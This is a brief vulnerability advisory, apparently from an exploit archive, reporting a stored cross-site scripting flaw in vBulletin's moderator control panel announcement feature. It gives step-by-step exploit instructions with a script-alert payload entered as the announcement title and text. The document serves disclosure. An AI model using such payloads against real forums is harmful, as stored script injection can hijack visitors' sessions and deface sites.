Security

  Text :  

####

.::vBulletin Modcp Cross-Site Scripting Vulnerability ::.

Author : Ashiyane Digital Security Members

Advisory : ModCP Cross-Site Scripting (Xss) Vulnerability

Application : vBulletin

Version : vBulletin 3.8.4 And vBulletin 4 Beta And All VerSion

Vendor URL : http://www.vbulletin.com/

WEb : Www.Ashiyane.org

####

-::Announcement Manager => Post New Announcement ::-

[ Exploit ]

Go To ( http://127.0.0.1/VB/modcp/announcement.php?do=add )

Add a new title And Text In Box (Title - Text) .

use the following code as title name And Text Announcement .

.::<Script>Alert('Cair3x')</Script> ::. Or Any Other Xss Code
.

See You Alert in (http://127.0.0.1/VB/forumdisplay.php?f=2) Page and All
page :D

[ / End Exploit ]

####

BY : Cair3x [Cair3x.Support@Gmail.com]

Web Site : Www.Ashiyane.org

Forum : Http://Ashiyane.org/forums/

[+] Greetz to All Ashiyane Digital Security Member (And Virangar Good
Frinds)

####